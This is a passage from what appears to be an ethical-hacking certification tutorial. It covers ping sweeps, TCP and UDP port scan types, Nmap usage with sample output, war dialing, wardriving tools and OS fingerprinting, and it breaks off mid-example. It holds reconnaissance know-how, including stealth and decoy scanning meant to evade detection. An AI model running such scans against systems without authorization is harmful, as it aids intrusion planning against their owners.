Identifying Active Machines&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Identify active machines &lt;br /&gt;
&lt;br /&gt;
Attackers will want to know if machines are alive before they attempt to
 attack. One of the most basic methods of identifying active machines is
 to perform a ping sweep. Although ping is found on just about every 
system running TCP/IP, it has been restricted by many organizations. 
Ping uses ICMP and works by sending an echo request to a system and 
waiting for the target to send an echo reply back. If the target device 
is unreachable, a request time out is returned. Ping is a useful tool to
 identify active machines and to measure the speed at which packets are 
moved from one host to another or to get details like the TTL. Figure 
3.7 shows a ping capture from a Windows computer. If you take a moment 
to examine the ASCII decode in the bottom-left corner, you will notice 
that the data in the ping packet is composed of the alphabet, which is 
unlike a Linux ping, which would contain numeric values. That&#39;s because 
the RFC that governs ping doesn&#39;t specify what&#39;s carried in the packet 
as payload. Vendors fill in this padding as they see fit. Unfortunately,
 this can also serve hackers as a covert channel. However, hackers can 
use a variety of programs to place their own information in place of the
 normal padding. Then what appears to be normal pings are actually a 
series of messages entering and leaving the network. &lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image014.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Ping does have a couple of drawbacks: First, only one system at a time 
is pinged and second, not all networks allow ping. To ping a large 
amount of hosts, a ping sweep is usually performed. Programs that 
perform ping sweeps typically sweep through a range of devices to 
determine which ones are active. Some of the programs that will perform 
ping sweeps include&lt;ul&gt;
&lt;li&gt; Angry IP Scanner&lt;/li&gt;
&lt;li&gt; Pinger&lt;/li&gt;
&lt;li&gt; WS_Ping_ProPack&lt;/li&gt;
&lt;li&gt; Network scan tools&lt;/li&gt;
&lt;li&gt; Super Scan&lt;/li&gt;
&lt;li&gt; Nmap &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Finding Open Ports and Access Points&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Understand how to map open ports and identify their underlying applications &lt;br /&gt;
&lt;br /&gt;
With knowledge of the network range and a list of active devices, the 
next step is to identify open ports and access points. Identifying open 
ports will go a long way toward potential attack vectors. There is also 
the possibility of using war dialing programs to find ways around an 
organization&#39;s firewall. If the organization is located close by, the 
attacker might war drive the area to look for open access points. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Port Scanning&lt;/h3&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Describe the differences between TCP and UDP scanning &lt;br /&gt;
&lt;br /&gt;
Port scanning is the process of connecting to TCP and UDP ports for the 
purpose of finding what services and applications are running on the 
target device. After running applications, open ports and services are 
discovered, the hacker can then determine the best way to attack the 
system. &lt;br /&gt;
&lt;br /&gt;
As discussed in lesson 2, there are a total of 65,535 TCP and UDP ports.
 These port numbers are used to identify a specific process that a 
message is coming from or going to. Some &lt;br /&gt;
&lt;br /&gt;
common port numbers are shown in Table 3.6. &lt;br /&gt;
&lt;br /&gt;
TABLE 3.6 Common Ports and Protocols &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 210px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Port      | Service | Protocol 
20/21     | FTP     | TCP 
22        | SSH     | TCP 
23        | Telnet  | TCP 
25        | SMTP    | TCP 
53        | DNS     | TCP/UDP 
69        | TFTP    | UDP 
80        | HTTP    | TCP 
110       | POP3    | TCP 
135       | RPC     | TCP 
161/162   | SNMP    | UDP 
1433/1434 | MSSQL   | TCP&lt;/pre&gt;
&lt;/div&gt;
As you have probably noticed, some of these applications run on 
TCP, whereas others run on UDP. Although it is certainly possible to 
scan for all 65,535 TCP and 65,535 UDP ports, many hackers will not. 
They will concentrate on the first 1,024 ports. These well-known ports 
are where we find most of the commonly used applications. A list of 
well-known ports can be found at &lt;a href=&quot;http://www.iana.org/assignments/port-numbers&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.iana.org/assignments/port-numbers&lt;/a&gt;.
 Now, this is not to say that high order ports should be totally ignored
 because hackers might break into a system and open a high order port, 
such as 31337, to use as a backdoor. So, is one protocol easier to scan 
for than the other? Well, the answer to that question is yes. TCP offers
 more opportunity for the hacker to manipulate than UDP. Let&#39;s take a 
look at why. &lt;br /&gt;
&lt;br /&gt;
TCP offers robust communication and is considered a connection protocol.
 TCP establishes a connection by using what is called a 3-way handshake.
 Those three steps proceed as follows: &lt;br /&gt;
&lt;br /&gt;
1. The client sends the server a TCP packet with the sequence number flag(SYN Flag) set and an Initial Sequence Number (ISN). &lt;br /&gt;
&lt;br /&gt;
2. The server replies by sending a packet with the SYN/ACK flag set to 
the client. The synchronize sequence number flag informs the client that
 it would like to communicate with it, whereas the acknowledgement flag 
informs the client that it received its initial packet. The 
acknowledgement number will be one digit higher than the client&#39;s ISN. 
The server will generate an ISN as well to keep track of every byte sent
 to the client. &lt;br /&gt;
&lt;br /&gt;
3. When the client receives the server&#39;s packet, it creates an ACK 
packet to acknowledge that the data has been received from the server. 
At this point, communication can begin. &lt;br /&gt;
&lt;br /&gt;
The TCP header containsa one-byte field for the flags. These flags can be seen in Table 3.7. &lt;br /&gt;
&lt;br /&gt;
TABLE 3.7 TCP Flag Types &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 146px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Flag | Purpose 
SYN  | Synchronize and Initial Sequence Number (ISN) 
ACK  | Acknowledgement of packets received 
FIN  | Final data flag used during the 4-step shutdown of a session 
RST  | Reset bit used to close an abnormal connection 
PSH  | Push data bit used to signal that data in the packet should be pushed to the beginning of the queue. Usually indicates an urgent message.
URG  | Urgent data bit used to signify that urgent control characters are present in this packet that should have priority. 
Port | Service Protocol&lt;/pre&gt;
&lt;/div&gt;
At the conclusion of communication, TCP terminates the session by using a 4-step shutdown. &lt;br /&gt;
&lt;br /&gt;
Those four steps proceed as follows: &lt;br /&gt;
&lt;br /&gt;
1. The client sends the server a packet with the FIN/ACK flags set. &lt;br /&gt;
2. The server sends a packet ACK flag set to acknowledge the clients packet. &lt;br /&gt;
3. The server then generates another packet with the FIN/ACK flags set 
to inform the client that it also is ready to conclude the session. &lt;br /&gt;
4. The client sends the server a packet with the ACK flag set to conclude the session. &lt;br /&gt;
&lt;br /&gt;
The TCP system of communication makes for robust communication but also 
allows a hacker many ways to craft packets in an attempt to coax a 
server to respond or to try and avoid detection of an intrusion 
detection system(IDS). Many of these methods are built into Nmap and 
other port scanning tools, but before taking a look at those tools, some
 of the more popular port scanning techniques are listed here: &lt;br /&gt;
&lt;br /&gt;
TCP Connect scan&lt;blockquote&gt;
This type of scan is the most reliable, 
although it is also the most detectable. It is easily logged and 
detected because a full connection is established. Open ports reply with
 a SYN/ACK, whereas closed ports respond with an RST/ACK. &lt;/blockquote&gt;
TCP SYN scan&lt;blockquote&gt;
This
 type of scan is known as half open because a full TCP three way 
connection is not established. This type of scan was originally 
developed to be stealthy and evade IDS systems although most now detect 
it. Open ports reply with a SYN/ACK, whereas closed ports respond with a
 RST/ACK. &lt;/blockquote&gt;
TCP FIN scan&lt;blockquote&gt;
Forget trying to set up a
 connection; this technique jumps straight to the shutdown. This type of
 scan sends a FIN packet to the target port. Closed ports should send 
back an RST. This technique is usually effective only on UNIX devices. &lt;/blockquote&gt;
TCP NULL scan&lt;blockquote&gt;
Sure,
 there should be some type of flag in the packet, but a NULL scan sends a
 packet with no flags set. If the OS has implemented TCP per RFC 793, 
closed ports will return an RST. &lt;/blockquote&gt;
TCP ACK scan&lt;blockquote&gt;
This
 scan attempts to determine access control list (ACL) rule sets or 
identify if stateless inspection is being used. If an ICMP destination 
unreachable, communication administrative prohibited message is 
returned, the port is considered to be filtered. &lt;/blockquote&gt;
TCP XMAS scan&lt;blockquote&gt;
Sorry,
 thereare no Christmas presents here, just a port scan that has toggled 
on the FIN, URG, and PSH flags. Closed ports should return an RST. &lt;/blockquote&gt;
&lt;b&gt;TIP&lt;/b&gt; &lt;br /&gt;
You will need to know common scan types, such as full and stealth, to successfully pass the exam. &lt;br /&gt;
&lt;br /&gt;
Certain OSes have taken some liberties when applying the TCP/IP RFCs and
 do things their own way. Because of this, not all scan types will work 
against all systems. So, results will vary, but Full Connect scans and 
SYN scans should work against all systems. &lt;br /&gt;
&lt;br /&gt;
These are not the only types of possible scans; however, they are the 
more popular types. A few others worth briefly noting include &lt;br /&gt;
&lt;br /&gt;
IDLE scan&lt;blockquote&gt;
Uses an idlehost to bounce packets off of and make the scan harder to trace. It is considered the only totally stealth scan. &lt;/blockquote&gt;
FTP Bounce scan&lt;blockquote&gt;
Uses anFTP server to bounce packets off of and make the scan harder to trace. &lt;/blockquote&gt;
RPC scan&lt;blockquote&gt;
Attempts to determine if open ports are RPC ports. Window scan Similar to an ACK scan, but can sometimes determine open ports. &lt;/blockquote&gt;
Now
 let&#39;s look at UDP scans. UDP is unlike TCP. Although TCP is built on 
robust connections, UDP is based on speed. With TCP, the hacker has the 
ability to manipulate flags in an attempt to generate a TCP response or 
an error message from ICMP. UDP does not have flags, nor does UDP issue 
responses. It&#39;s a fire and forget protocol! The most you can hope for is
 a response from ICMP. &lt;br /&gt;
&lt;br /&gt;
If the port is closed, ICMP will attempt to send an ICMP type 3 code 3 
port unreachable message to the source of the UDP scan. But, if the 
network is blocking ICMP, no error message will be returned. Therefore, 
the response to the scans might simply be no response. If you are 
planning on doing UDP scans, plan for unreliable results. &lt;br /&gt;
&lt;br /&gt;
Next some of the programs that can be used for port scanning are discussed. &lt;br /&gt;
&lt;br /&gt;
Is Port Scanning Legal? &lt;br /&gt;
&lt;br /&gt;
In 2000, two contractors ended up in a U.S. district court because of a 
dispute of the legality of port scanning. The plaintiff believed that 
port scanning is a crime, whereas the defendant believed that only by 
port scanning was he able to determine what ports were open and closed 
on the span of network he was responsible for. The U.S. district court 
judge ruled that port scanning was not illegal, as it does not cause 
damage. So, although port scanning is not a crime, you should still seek
 to obtain permission before scanning a network. Also, home users should
 review their service provider&#39;s terms and conditions before port 
scanning. Most cable companies prohibit port scanning and maintain the 
right to disconnect customers who perform such acts even when they are 
performing such activities with permission. Time Warner&#39;s policy states 
the following, &quot;Please be aware that Time Warner Road Runner has 
received indications of port scanning from a machine connected to the 
cable modem on your Road Runner Internet connection. This violates the 
Road Runner AUP (Acceptable Use Policy). Please be aware that further 
violations of the Acceptable Usage Policy may result in the suspension 
or termination of your Time Warner Road Runner account.&quot; &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Nmap&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Use tools such as Nmap to perform port scanning and know common Nmap 
switches Nmap was developed by a hacker named Fyodor Yarochkin. This 
popular application is available for Windows and Linux as a GUI and 
command-line program. It is probably the most widely used port scanner 
ever developed. It can do many types of scans and OS identification. It 
also allows you to control the speed of the scan from slow to insane. 
Its popularity can be seen by the fact that it&#39;s incorporated into other
 products and was even used in the movie The Matrix. Nmap with the help 
option is shown here so that you can review some of its many switches. &lt;br /&gt;
&lt;br /&gt;
C:\nmap-3.93&amp;gt;nmap -h &lt;br /&gt;
Nmap 3.93 Usage: nmap [Scan Type(s)] [Options] &amp;lt;host or net list&amp;gt; &lt;br /&gt;
Some Common Scan Types (&#39;*&#39; options require root privileges) &lt;br /&gt;
* -sS TCP SYN stealth port scan (default if privileged (root)) &lt;br /&gt;
-sT TCP connect() port scan (default for unprivileged users) &lt;br /&gt;
* -sU UDP port scan &lt;br /&gt;
-sP ping scan (Find any reachable machines) &lt;br /&gt;
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) &lt;br /&gt;
-sV Version scan probes open ports determining service and app names/versions &lt;br /&gt;
-sR/-I RPC/Identd scan (use with other scan types) &lt;br /&gt;
Some Common Options (none are required, most can be combined): &lt;br /&gt;
* -O Use TCP/IP fingerprinting to guess remote operating system &lt;br /&gt;
-p &amp;lt;range&amp;gt; ports to scan. Example range: &#39;1-1024,1080,6666,31337&#39; &lt;br /&gt;
-F Only scans ports listed in nmap-services &lt;br /&gt;
-v Verbose. Its use is recommended. Use twice for greater effect. &lt;br /&gt;
-P0 Don&#39;t ping hosts (needed to scan &lt;a href=&quot;http://www.microsoft.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.microsoft.com&lt;/a&gt; and others) &lt;br /&gt;
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys &lt;br /&gt;
-6 scans via IPv6 rather than IPv4 &lt;br /&gt;
-T &amp;lt;Paranoid|Sneaky|Polite|Normal|Aggressive|Insane  &amp;gt; General timing policy &lt;br /&gt;
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve] &lt;br /&gt;
-oN/-oX/-oG &amp;lt;logfile&amp;gt; Output normal/XML/grepable scan logs to &amp;lt;logfile&amp;gt; &lt;br /&gt;
-iL &amp;lt;inputfile&amp;gt; Get targets from file; Use &#39;-&#39; for stdin &lt;br /&gt;
* -S &amp;lt;your_IP&amp;gt;/-e &amp;lt;devicename&amp;gt; Specify source address or network interface &lt;br /&gt;
--interactive Go into interactive mode (then press h for help) &lt;br /&gt;
--win_help Windows-specific features &lt;br /&gt;
Example: nmap -v -sS -O &lt;a href=&quot;http://www.my.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.my.com&lt;/a&gt; 192.168.0.0/16 &#39;192.88-90.*.*&#39; &lt;br /&gt;
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TIP&lt;/b&gt; &lt;br /&gt;
To better understand Nmap and fully prepare for the CEH Exam, it&#39;s 
advisable to download and review Nmap&#39;s documentation. It can be found 
at &lt;a href=&quot;http://www.insecure.org/nmap/data/nmap_manpage.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.insecure.org/nmap/data/nmap_manpage.html&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
As can be seen from the output of the help menu in the previous listing,
 Nmap can run many types of scans. Nmap is considered a required tool 
for all ethical hackers. Nmap&#39;s output provides the open port&#39;s 
well-known service name, number, and protocol. They can either be open, 
closed, or filtered. If a port is open, it means that the target device 
will accept connections on that port. A closed port is not listening for
 connections, and a filtered port means that a firewall, filter, or 
other network device is guarding the port and preventing Nmap from fully
 probing it or determining its status. If a port is reported as 
unfiltered, it means that the port is closed and no firewall or router 
appears to be interfering with Nmap&#39;s attempts to determine its status. 
To run Nmap from the command line, type Nmap, followed by the switch, 
and then enter a single IP address or a range. For the example shown 
here, the -sT option was used, which performs a TCP full 3-step 
connection. &lt;br /&gt;
&lt;br /&gt;
C:\nmap-3.93&amp;gt;nmap -sT 192.168.1.108 &lt;br /&gt;
Starting nmap 3.93 ( &lt;a href=&quot;http://www.insecure.org/nmap&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.insecure.org/nmap&lt;/a&gt; ) at 2005-10-05 23:42 Central &lt;br /&gt;
Daylight Time &lt;br /&gt;
Interesting ports on Server (192.168.1.108): &lt;br /&gt;
(The 1653 ports scanned but not shown below are in state: filtered) &lt;br /&gt;
PORT  STATE SERVICE &lt;br /&gt;
80/tcp open http &lt;br /&gt;
139/tcp open netbios-ssn &lt;br /&gt;
515/tcp open printer &lt;br /&gt;
548/tcp open afpovertcp &lt;br /&gt;
Nmap run completed -- 1 IP address (1 host up) scanned in 420.475 seconds &lt;br /&gt;
&lt;br /&gt;
Several interesting ports were found on this computer, including 80 and 
139. A UDP scan performed with the -sUswitch returned the following 
results: &lt;br /&gt;
&lt;br /&gt;
C:\nmap-3.93&amp;gt;nmap -sU 192.168.1.108 &lt;br /&gt;
Starting nmap 3.93 ( &lt;a href=&quot;http://www.insecure.org/nmap&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.insecure.org/nmap&lt;/a&gt; ) at 2005-10-05 23:47 Central &lt;br /&gt;
Daylight Time &lt;br /&gt;
Interesting ports on Server (192.168.1.108): &lt;br /&gt;
(The 1653 ports scanned but not shown below are in state: filtered) &lt;br /&gt;
PORT  STATE SERVICE &lt;br /&gt;
69/udp open tftp &lt;br /&gt;
139/udp open netbios-ssn &lt;br /&gt;
Nmap run completed -- 1 IP address (1 host up) scanned in 843.713 seconds &lt;br /&gt;
&lt;br /&gt;
Nmap also has a GUI version called NmapFE. Most of the options in NmapFe
 correspond directly to the command-line version. Some people call 
NmapFe the Nmap tutor because it displays the command-line syntax at the
 bottom of the GUI interface. It is no longer updated for Windows but is
 maintained for the Linux platform. This can be seen in Figure 3.8. &lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image016.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SuperScan&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Version 4 of SuperScan is written to run on Windows XP and 2000. It&#39;s a 
versatile TCP/UDP port scanner, pinger, and hostname revolver. It can 
perform ping scans and port scans using a range of IP addresses, or it 
can scan a single host. It also has the capability to resolve or 
reverse-lookup IP addresses. It builds an easy-to-use HTML report that 
contains a complete breakdown of the hosts that were scanned. This 
includes information on each port and details about any banners that 
were found. It&#39;s free; therefore it is another tool that all ethical 
hackers should have. To get a better look at the interface, review 
Figure 3.9. &lt;br /&gt;
&lt;br /&gt;
THC-Amap &lt;br /&gt;
&lt;br /&gt;
THC-Amap is another example of scanning and banner grabbing. One problem
 that traditional scanning programs have is that not all services are 
ready and eager to give up the appropriate banner. For example, some 
services, such as SSL, expect a handshake. Amap handles this by storing a
 collection of responses that it can fire off at the port to 
interactively elicit it to respond. Another problem is that scanning 
programs sometimes make basic assumptions that might be flawed. Many 
port scanners assume that if a particular port is open, the default 
application for that port must be present. Amap probes these ports to 
find out what is really running there. Therefore, this tool excels at 
allowing a security professional to find services that might have been 
redirected from their standard ports. One technique is to use this 
program by taking the greppable format of nmap as an input to scan for 
those open services. Defeating or blocking Amap is not easy, although 
one technique would be to use a port knocking technique. Port knocking 
is similar to a secret handshake or combination. Only after inputting a 
set order of port connections can a connection be made. &lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image018.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanrand&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Scanrand is part of a suiteof tools known as Paketto Keiretsu developed 
by Dan Kaminsky. Scanrand is a fast scanning tool, and what makes this 
tool so fast is that it uses a unique method of scanning TCP ports. Most
 TCP scanners take the approach of scanning one port at a time. After 
all, TCP is a stateful protocol, so traditional scanners must probe each
 port, wait for the response, store the connection in memory, and then 
move on. Traditional scanning is a serial process.&lt;br /&gt;
&lt;br /&gt;
Scanrand implements stateless scanning. This parallel approach to 
scanning breaks the process into two distinct processes. One process 
sends out the requests at a high rate of speed, while the other 
independent process is left to sort out the incoming responses and 
figure out how it all matches up. The secret to the program&#39;s speed is 
in its use of inverse SYN cookies. Basically, Scanrand builds a hashed 
sequence number placed in the outgoing packet that can be identified 
upon return. This value contains information that identifies source IP, 
source port, destination IP, and destination port. If you&#39;re tasked with
 scanning a large number of IP addresses quickly, this is something 
you&#39;ll want to check out, as it is much faster than traditional scanning
 programs. &lt;br /&gt;
&lt;br /&gt;
Port Knocking &lt;br /&gt;
&lt;br /&gt;
Port knocking is a method of establishing a connection to a host that 
does not initially indicate that it has any open ports. Port knocking 
works by having the remote device send a series of connection attempts 
to a specific series of ports. It is somewhat analogous to a secret 
handshake. After the proper sequence of port knocking has been detected,
 the required port is opened and a connection is established. The 
advantage of using a port knocking technique is that hackers cannot 
easily identify open ports. The disadvantages include the fact that the 
technique does not harden the underlining application. Also, it isn&#39;t 
useful for publicly accessible services. Finally, anyone who has the 
ability to sniff the network traffic will be in possession of the 
appropriate knock sequence. &lt;a href=&quot;http://www.portknocking.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.portknocking.org&lt;/a&gt; is a good site to check out to learn more about this defensive technique. &lt;br /&gt;
&lt;br /&gt;
War Dialers &lt;br /&gt;
&lt;br /&gt;
War dialing has been around long before the days of broadband access and
 was actually popularized in the 1983 movie War Games. War dialing is 
the act of using a modem and software to scan for other systems with 
modems attached. War dialing is accomplished by dialing a range of phone
 numbers with the hope of getting one to respond with the appropriate 
tone. Modems are a tempting target for hackers because they offer them 
the opportunity to bypass the corporate firewall. A modem can be seen as
 a backdoor into the network. &lt;br /&gt;
&lt;br /&gt;
Modems are still popular today with network administrators because they 
can be used for remote access, and they are useful for out-of-band 
management. After all, they are a low-cost network access alternative if
 normal network access goes down. The problem is that many of these 
modems have no authentication or weak authentication at best. If you&#39;re 
planning on war dialing as part of a pen test, you want to make sure and
 check the laws in your area. Some states have laws that make it illegal
 to place a call without the intent to communicate. Two of the most 
well-known war dialing tools include &lt;br /&gt;
&lt;br /&gt;
ToneLoc&lt;blockquote&gt;
A war dialing program that looks for dial tones by 
randomly dialing numbers or dialing within a range. It can also look for
 a carrier frequency of a modem or fax. ToneLoc uses an input file that 
contains the area codes and number ranges you want to have it dial. &lt;/blockquote&gt;
PhoneSweep&lt;blockquote&gt;
A commercial grade war dialing program that can support multiple lines at once. &lt;/blockquote&gt;
THC-Scan&lt;blockquote&gt;
An
 older DOS-based program that can use a modem to dial ranges of numbers 
to search for a carrier frequency from a modem or fax. &lt;/blockquote&gt;
Wardriving &lt;br /&gt;
&lt;br /&gt;
Wardriving is named after wardialing as it is the process of looking for
 open access points. Many pen tests contain some type of war driving 
activity. The goal is to identify open or rogue access points. Even if 
the organization has secured it wireless access points, there is always 
the possibility that employees have installed their own access points 
without the company&#39;s permission. Unsecured wireless access points can 
be a danger to organizations because much like modems, they offer the 
hacker a way into the network that might bypass the firewall. A whole 
host of security tools have been released for Windows and Linux over the
 last few years that can be used to probe wireless equipment. Some basic
 tools that hackers and legitimate pen testers probably have include &lt;br /&gt;
&lt;br /&gt;
Kismit&lt;blockquote&gt;
802.11 wireless network detector, sniffer, and intrusion detection system. &lt;/blockquote&gt;
Netstumbler&lt;blockquote&gt;
802.11 wireless network detector, also available for Mac and handhelds. &lt;/blockquote&gt;
Airsnort&lt;blockquote&gt;
802.11b wireless cracking tool. &lt;/blockquote&gt;
Airsnare&lt;blockquote&gt;
An
 intrusion detection system to help you monitor your 802.11 wireless 
network. It can notify you as soon as a machine connects to your 
wireless network that is not listed as an approved MAC address. &lt;/blockquote&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
OS Fingerprinting &lt;/h3&gt;
&lt;br /&gt;
&lt;b&gt;Objectives:&lt;/b&gt; &lt;br /&gt;
Describe passive fingerprinting &lt;br /&gt;
State the various ways that active fingerprinting tools work &lt;br /&gt;
&lt;br /&gt;
At this point in the information gathering process, the hacker has made 
some real headway. IP addresses, active systems, and open ports have 
been identified. Although the hacker might not yet know the type of 
systems he is dealing with, he is getting close. There are two ways in 
which the hacker can attempt to identify the targeted devices. The 
hacker&#39;s first choice is passive fingerprinting. The hacker&#39;s second 
choice is to perform active fingerprinting, which basically sends 
malformed packets to the target in hope of eliciting a response that 
will identify it. Although active fingerprinting is more accurate, it is
 not as stealthy as passive fingerprinting. &lt;br /&gt;
&lt;br /&gt;
Passive fingerprinting is really sniffing, as the hacker is sniffing 
packets as they come by. These packets are examined for certain 
characteristics that can be pointed out to determine the OS. &lt;br /&gt;
&lt;br /&gt;
Four commonly examined items that are used to fingerprint the OS include &lt;br /&gt;
&lt;br /&gt;
The IP TTL value&lt;blockquote&gt;
Different OSes set the TTL to unique values on outbound packets. &lt;/blockquote&gt;
The TCP Window Size&lt;blockquote&gt;
OS vendors use different values for the initial window size. &lt;/blockquote&gt;
The IP DF Option&lt;blockquote&gt;
Not all OS vendors handle fragmentation in the same way. &lt;/blockquote&gt;
The IP Type of Service (TOS) Option&lt;blockquote&gt;
TOS
 is a three-bit field that controls the priority of specific packets. 
Again, not all vendors implement this option in the same way. &lt;/blockquote&gt;
These
 are just four of many possibilities that can be used to passively 
fingerprint an OS. Other items that can be examined include IP 
Identification Number (IPID), IP options, TCP options, and even ICMP. 
Ofir Arkin has written an excellent paper on this titled, &quot;ICMP Usage in
 Scanning.&quot; Probably the most up-to-date passive fingerprinting tool is 
the Linux based tool P0f. P0f attempts to passively fingerprint the 
source of all incoming connections after the tool is up and running. 
Because it&#39;s a truly passive tool, it does so without introducing 
additional traffic on the network. P0fv2 is available at &lt;a href=&quot;http://lcamtuf.coredump.cx/p0f.tgz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://lcamtuf.coredump.cx/p0f.tgz&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Active fingerprinting is more powerful than passive fingerprint scanning
 because the hacker doesn&#39;t have to wait for random packets, but as with
 every advantage, there is usually a disadvantage. This disadvantage is 
that active fingerprinting is not as stealthy as passive fingerprinting.
 The hacker actually injects the packets into the network. Active 
fingerprinting has a much higher potential for being discovered or 
noticed. Like passive OS fingerprinting, active fingerprinting examines 
the subtle differences that exist between different vendor 
implementations of the TCP/IP stack. Therefore, if hackers probe for 
these differences, the version of the OS can most likely be determined. 
One of the individuals who has been a pioneer in this field of research 
is Fyodor. His site, &lt;a href=&quot;http://www.insecure.org/nmap/nmap-fingerprinting-article.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.insecure.org/nmap/nmap-fi...g-article.html&lt;/a&gt;, has an excellent paper on OS fingerprinting. Listed here are some of the basic methods used in active fingerprinting: &lt;br /&gt;
&lt;br /&gt;
The FIN probe&lt;blockquote&gt;
A FIN packet is sent to an open port, and the 
response is recorded. Although RFC 793 states that the required behavior
 is not to respond, many OSes such as Windows will respond with a RESET.
 &lt;/blockquote&gt;
Bogus flag probe&lt;blockquote&gt;
As you might remember from 
Table 3.7, there are only six valid flags in the 1 byte TCP header. A 
bogus flag probe sets one of the used flags along with the SYN flag in 
an initial packet. Linux will respond by setting the same flag in the 
subsequent packet. &lt;/blockquote&gt;
Initial Sequence Number (ISN) sampling&lt;blockquote&gt;
This
 fingerprinting technique works by looking for patterns in the ISN 
number. Although some systems use truly random numbers, others, such as 
Windows, increment the number by a small fixed amount. &lt;/blockquote&gt;
IPID sampling&lt;blockquote&gt;
Many
 systems increment a systemwide IPID value for each packet they send. 
Others, such as older versions of Windows, do not put the IPID in 
network byte order, so they increment the number by 256 for each packet.
 &lt;/blockquote&gt;
TCP initial window&lt;blockquote&gt;
This fingerprinttechnique 
works by tracking the window size in packets returned from the target 
device. Many OSes use exact sizes that can be matched against a database
 to uniquely identify the OS. &lt;/blockquote&gt;
ACK value&lt;blockquote&gt;
Again, 
vendors differ in the ways they have implemented the TCP/IP stack. Some 
OSes send back the previous value +1, whereas others send back more 
random values. &lt;/blockquote&gt;
Type of service&lt;blockquote&gt;
This 
fingerprinting type tweaks ICMP port unreachable messages and examines 
the value in the type of service (TOS) field. Whereas some use 0, others
 return different values. &lt;/blockquote&gt;
TCP options&lt;blockquote&gt;
Here 
again, different vendors support TCP options in different ways. By 
sending packets with different options set, the responses will start to 
reveal the server&#39;s fingerprint. &lt;/blockquote&gt;
Fragmentation handling&lt;blockquote&gt;
This
 fingerprinting technique takes advantage of the fact that different OS 
vendors handle fragmented packets differently. RFC 1191 specifies that 
the MTU is normally set between 68 and 65535 bytes. This technique was 
originally discovered by Thomas Ptacek and Tim Newsham. &lt;/blockquote&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Active Fingerprinting Tools&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Use tools such as Xprobe2, Winfingerprint, and Amap &lt;br /&gt;
&lt;br /&gt;
One of the first tools to actually be widely used for active 
fingerprinting back in the late 1990s was Queso. Although no longer 
updated, it helped move this genre of tools forward. Nmap has supplanted
 Queso as the tool of choice for active fingerprinting and is one of the
 most feature-rich free fingerprint tools in existence today. Nmap&#39;s 
database can fingerprint literally hundreds of different OSes. 
Fingerprinting with Nmap is initiated by running the tool with the -O 
option. When started with this command, switch nmap probes port 80 and 
then ports in the 20-23 range. Nmap needs one open and one closed port 
to make an accurate determination of what OS a particular system is 
running. An example is shown in the following: &lt;br /&gt;
&lt;br /&gt;
C:\nmap-3.93&amp;gt;nmap -O 192.168.123.108 &lt;br /&gt;
Starting nmap 3.93 ( &lt;a href=&quot;http://www.insecure.org/nmap&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.insecure.org/nmap&lt;/a&gt; ) at 2005-10-07 15:47 Central &lt;br /&gt;
Daylight Time &lt;br /&gt;
